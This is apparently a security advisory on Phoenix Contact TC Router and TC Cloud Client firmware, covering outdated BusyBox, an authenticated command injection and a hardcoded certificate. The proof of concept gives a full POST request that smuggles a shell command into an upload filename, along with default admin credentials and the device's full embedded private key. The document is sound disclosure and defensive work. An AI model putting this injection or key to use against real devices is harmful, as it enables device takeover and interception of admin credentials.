Authenticated Command Injection In Phoenix Contact Tc Router & Tc Cloud Client

Title

Authenticated Command Injection

Product

Phoenix Contact TC Router & TC Cloud Client

Vulnerable Version

<=2.05.3 & <=2.03.17 & <=1.03.17

Fixed Version

2.05.4 & 2.03.18 & 1.03.18

CVE Number

CVE-2020-9436, CVE-2020-9435

Impact

high

Found

01.23.2020

By

T. Weber (Office Vienna) | SEC Consult Vulnerability Lab

The TC Cloud Client and TC Router devices from Phoenix Contact are affected by multiple vulnerabilities resulting from insecure programming practices and old software components embedded in the firmware. Hardcoded embedded certificates were also found by doing an automated scan with IoT Inspector and verifying it with an emulation of the firmware. The quick security crash-test was done on an emulated device. Vulnerabilities like command injection and known BusyBox weaknesses were found.

Vendor Description

“Phoenix Contact is a globally present, Germany-based market leader. Our group is synonymous with future-oriented components, systems, and solutions in the fields of electrical engineering, electronics, and automation. A global network across more than 100 countries and 15,000 employees ensure close proximity to our customers, which we believe is particularly important.

Source: https://www.phoenixcontact.com

Business Recommendation

The vendor provides a patch which should be installed immediately.

SEC Consult recommends to perform a thorough security review of these products conducted by security professionals to identify and resolve all security issues.

Vulnerability Overview / Description

1) Known BusyBox Vulnerabilities

The used BusyBox toolkit in version 1.18.5 is outdated and contains multiple known vulnerabilities. The outdated version was found by IoT Inspector. One of the discovered vulnerabilities (CVE-2017-16544) was verified by using the MEDUSA scalable firmware runtime.

2) Authenticated Command Injection (CVE-2020-9436)

An authenticated command injection vulnerability can be triggered by issuing a POST request to the “/cgi-bin/p/adm/cfg” CGI program which is available on the web interface. An attacker can abuse this vulnerability to compromise the operating system of the device. This issue was found by emulating the firmware of the device.

3) Embedded Private X.509 Certificate (CVE-2020-9435)

The device contains a hardcoded certificate which can be used to run the web service. This certificate is used for HTTPS (default server certificate for web based configuration and management).

Impersonation, man-in-the-middle or passive decryption attacks are possible. These attacks allow an attacker to gain access to sensitive information like admin credentials and use them in further attacks.

Proof Of Concept

1) Known BusyBox Vulnerabilities

BusyBox version 1.18.5 contains multiple CVEs like: CVE-2016-6301, CVE-2014-9645 and CVE-2013-1813.

The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on an emulated device:

A file with the name \ectest\n\e]55;test.txt\a was created to trigger the vulnerability.

# ls "pressing <TAB>"
test
]55;test.txt
#

2) Authenticated Command Injection (CVE-2020-9436)

An authenticated command injection is possible via a crafted POST request. The configuration upload form in the web-interface can be used to upload an XML configuration file. The filename of this XML file can be modified with an interceptor proxy in order to inject system commands. The JavaScript code which is used to do client-side filtering can be bypassed in this way. Because of blacklisting of some characters, the ${IFS} command must be used for adding whitespaces.

Request:

POST /cgi-bin/p/adm/cfg HTTP/1.1 Host: $IP Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------10834433251208329385252513488 Content-Length: 724 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: no-transform -----------------------------10834433251208329385252513488 Content-Disposition: form-data; name="exportmode" 0 -----------------------------10834433251208329385252513488 Content-Disposition: form-data; name="xmlmode" on -----------------------------10834433251208329385252513488 Content-Disposition: form-data; name="importmode" 0 -----------------------------10834433251208329385252513488 Content-Disposition: form-data; name="cfg_upload"; filename="config.xml;ls${IFS}-la" Content-Type: application/octet-stream text -----------------------------10834433251208329385252513488 Content-Disposition: form-data; name="cfg_submit" -----------------------------10834433251208329385252513488--

Response from the web-server:

HTTP/1.0 200 OK Content-Type: text/html Cache-Control: no-cache <!DOCTYPE html> <html> <head> <meta charset="utf-8"><meta http-equiv="Cache-Control" content="no-cache"> <style> /* CSS main */ body { font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; } [...snip...] .TextWarning { vertical-align: middle; color: #FF4000; } </style> <title>Configuration up-/download</title> </head> <body> <pre>xml parsed setup new config done total 499 drwxr-xr-x 2 root root 1024 Jan 28 2020 . drwxr-xr-x 3 root root 1024 Jan 28 2020 .. -rwxr-xr-x 1 root root 5544 Jan 28 2020 atcmd -rwxr-xr-x 1 root root 9624 Jan 28 2020 basicsetup -rwxr-xr-x 1 root root 9012 Jan 28 2020 cfg -rwxr-xr-x 1 root root 7396 Jan 28 2020 conchk -rwxr-xr-x 1 root root 9128 Jan 28 2020 ddns -rwxr-xr-x 1 root root 14504 Jan 28 2020 dhcp -rwxr-xr-x 1 root root 4776 Jan 28 2020 dmesg -rwxr-xr-x 1 root root 6040 Jan 28 2020 edit_email -rwxr-xr-x 1 root root 6648 Jan 28 2020 edit_sms -rwxr-xr-x 1 root root 18288 Jan 28 2020 fw -rwxr-xr-x 1 root root 10560 Jan 28 2020 gprs -rwxr-xr-x 1 root root 12268 Jan 28 2020 gsm -rwxr-xr-x 1 root root 6784 Jan 28 2020 gsmlog -rwxr-xr-x 1 root root 11172 Jan 28 2020 io -rwxr-xr-x 1 root root 9812 Jan 28 2020 ipscert -rwxr-xr-x 1 root root 7604 Jan 28 2020 ipscon -rwxr-xr-x 1 root root 9928 Jan 28 2020 ipsike -rwxr-xr-x 1 root root 16728 Jan 28 2020 ipsset -rwxr-xr-x 1 root root 13808 Jan 28 2020 lanif -rwxr-xr-x 1 root root 5528 Jan 28 2020 leases -rwxr-xr-x 1 root root 6512 Jan 28 2020 log -rwxr-xr-x 1 root root 9656 Jan 28 2020 masqtbl -rwxr-xr-x 1 root root 5313 Jan 28 2020 mdmupl -rwxr-xr-x 1 root root 17912 Jan 28 2020 napt -rwxr-xr-x 1 root root 7704 Jan 28 2020 ovpnadvanced -rwxr-xr-x 1 root root 9656 Jan 28 2020 ovpncert -rwxr-xr-x 1 root root 6524 Jan 28 2020 ovpncon -rwxr-xr-x 1 root root 7856 Jan 28 2020 ovpnkey -rwxr-xr-x 1 root root 13012 Jan 28 2020 ovpnnapt -rwxr-xr-x 1 root root 19732 Jan 28 2020 ovpntunnel -rwxr-xr-x 1 root root 4760 Jan 28 2020 phonebook -rwxr-xr-x 1 root root 8284 Jan 28 2020 reboot -rwxr-xr-x 1 root root 5956 Jan 28 2020 routes -rwxr-xr-x 1 root root 10840 Jan 28 2020 rtc -rwxr-xr-x 1 root root 6928 Jan 28 2020 security -rwxr-xr-x 1 root root 17860 Jan 28 2020 sim -rwxr-xr-x 1 root root 7080 Jan 28 2020 sms -rwxr-xr-x 1 root root 7960 Jan 28 2020 smtp -rwxr-xr-x 1 root root 7048 Jan 28 2020 snmp -rwxr-xr-x 1 root root 5964 Jan 28 2020 socksrv -rwxr-xr-x 1 root root 9632 Jan 28 2020 sroute -rwxr-xr-x 1 root root 14668 Jan 28 2020 srvfw -rwxr-xr-x 1 root root 5456 Jan 28 2020 sshconfig -rwxr-xr-x 1 root root 11224 Jan 28 2020 sysconfig -rwxr-xr-x 1 root root 19996 Jan 28 2020 test -rwxr-xr-x 1 root root 4712 Jan 28 2020 update -rwxr-xr-x 1 root root 73 Jan 28 2020 upload -rwxr-xr-x 1 root root 30 Jan 28 2020 upremove -rwxr-xr-x 1 root root 7132 Jan 28 2020 user -rwxr-xr-x 1 root root 9672 Jan 28 2020 webcert -rwxr-xr-x 1 root root 10932 Jan 28 2020 webconfig </pre><pre>please reboot next</pre> </body> </html>

3) Embedded Private X.509 Certificate (CVE-2020-9435)

The X.509 certificate was found on more than one device on Censys.io:
SHA256 fingerprint: 8ca503b99f7eadc839747dfe612b256efcdc4e01bbf5757c0fb663e5a22836b8

-----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDm6jUy8KLYSPXo BiPx8LAlVcV4/6+pi+d4KzH6rvSoREYrjpalUMGbmoAdtbkr3qzvrLMP0s7tDOQB YfH40u1QvEWgN5iWGz+TONXbeg7p+ZjD63Cu+tu9Knj5ZoZ7zDVgOF2UaVVrQkpH CYXagnaplnQCbc1DiuvG8ha9ICaWuf7upNPiNpgdiGqrPwaqSCYhmi7K7Ej4dOpZ 5Ji/LKxCGjokVpxlYgbJbNMtrBXdBjsVh8WMImxQe7g00CQhMIK6YfE7eOsXDTLP ZDXIbf42emJ84kpU57ISI9ru1gmt7Jkl0EJlTwyMV/9NUXavpf15LnpKnkXK0Ez/ Fu5erzVBAgMBAAECggEBAMP65yfSwAMc+UfxXjSK+JTXVQA60ZXuXYfJ8WM3dgIR 4BQ7snOgNJGh8TZF82DeXpwUUO0PF/xswl7CCCIMssmg4N74EJLlkXGb/TWHRH0k D5nIixyXYEQOdhoGAAG18V82t4WsWIjt/CiKVoZ7z8ZjIRampl263B0/fjkJvnaQ zDzeF0Pnh9UAyjJQiec6wEFO2FUmU0XHgWOylzTUm+kWPg3de4SNA6kpSbOFKM4y xjdVUBK6ECT42EaJK5Ie3Fk3wKH11HQSYr2wRkC3VbN9XU4qUiOeQzNgAX5FRaBd Egyu1gkJvOOiKCmBB3hyoJA8eipyMoOtuWRJnO0aRBkCgYEA/qZrfYIUn/OA3iPe 809eJoLsMI4ACOf46W4irskoOF1qRZ0WJZtbIY3vcsw+m+sKYZW8RyUrl9UoOhVT yYMNlhwWOyztvp+jembEiS1XaW9K5gfV7Z/+KAenGjd/MLvRB5GU9Yt0knyY5QwP rcQgE/Pgr19o++e2my+1etzxAD8CgYEA6COT0Am0ECGrIm+rR4VYlvMaT1V/RTpY WOfo7gExbyBj45vrTWKNGm1eAthOXwYLHA0Aan3bOrw3fprAmWrc1dhHC3+1Kjrn mqOv/rWzpN1WRbehNJd0VmcTI9M1XDONTbrs44cvN+Fpt88gxXFkDTRZs7onMPz5 eOCNdGV6an8CgYB2l5htrfve9e8pBPmaxHarZsOKZUc83pN8Wq9KSSIzBcYtP1gG EZDiUpCWHOp3gIGoKqyxUW0426tNSYtoyGC2bMQpsOXTpdLjeSLEY9pWnt75u+J0 NNOPXukCe5//WSii5rjBlb2nTuGBohlXKoRp5mTYJ43j6uiO4ywYWPbfzwKBgQDN RMBswlfNt+fbAIGlMZ1/hSHrqv9qWMhMfW00ICv1Rt/tIS91c0Kwbqslut26Gt7y A/EtOXMEwfAUbIUIZD04fxF7cobg+8tWq41xnnxmuS2TYmgS2CYQTP7Yu+fASvmV FUhpfV1cfV99IJOq47SEFJmJWn9TSy7SG0YZ+a3AwwKBgEXATr+IAy04ASrtOf2Z ySc5PbttVW1gMJd+BpyaXPa2qf7w/jELbOCfu4qe17qD2yufgyOzurikFfNayVbt xkOmyj24eKmwHKH+zmUy63i+kqiRqXUpypmFQzPRf7LQXYPZEv7IkVP/+ney4G9T a0lM1ut6+1o9FLcqrnZk9uLY -----END PRIVATE KEY-----

Vulnerable / Tested Versions

The following firmware version has been tested:

  • TC Router 3002T-4G ATT / 2.05.3
  • TC Cloud Client 1002-TX/TX / 1.03.17

According to the vendor, the following devices are affected as well:

 

 

 

Article name Article number Affected versions
TC ROUTER 3002T-4G 2702528 <= 2.05.3
TC ROUTER 3002T-4G 2702530 <= 2.05.3
TC ROUTER 2002T-3G 2702529 <= 2.05.3
TC ROUTER 2002T-3G 2702531 <= 2.05.3
TC ROUTER 3002T-4G VZW 2702532 <= 2.05.3
TC ROUTER 3002T-4G ATT 2702533 <= 2.05.3
TC CLOUD CLIENT 1002-4G 2702886 <= 2.03.17
TC CLOUD CLIENT 1002-4G VZW 2702887 <= 2.03.17
TC CLOUD CLIENT 1002-4G ATT 2702888 <= 2.03.17
TC CLOUD CLIENT 1002-TXTX 2702885 <= 1.03.17

Vendor Contact Timeline

2020-01-29 Sent advisory to vendor via PGP through psirt@phoenixcontact.com; Vendor confirmed to receive the advisory.
2020-02-26 Vendor stated that the vulnerabilities were confirmed and that a firmware upgrade will be available in the next days.
2020-02-29 Asked vendor for further affected devices and firmware versions.
2020-03-02 Received information about further affected devices and firmware versions from vendor. The release of the new firmware version is planned for the end of the week. CVE numbers were requested by the vendor.
2020-03-05 Found new firmware version numbers on the vendor’s website. Asked the vendor about the status regarding CVE numbers.
2020-03-05 Received CVE numbers.
2020-03-12 Coordinated release of security advisory.

Solution

Update the firmware of the affected devices to 1.03.18, 2.03.18 or 2.05.4. The new versions can be downloaded from the firmware page: https://www.phoenixcontact.com/online/portal/us

Workaround

Restrict network access to the device.

Advisory URL

https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

EOF Thomas Weber / @2020

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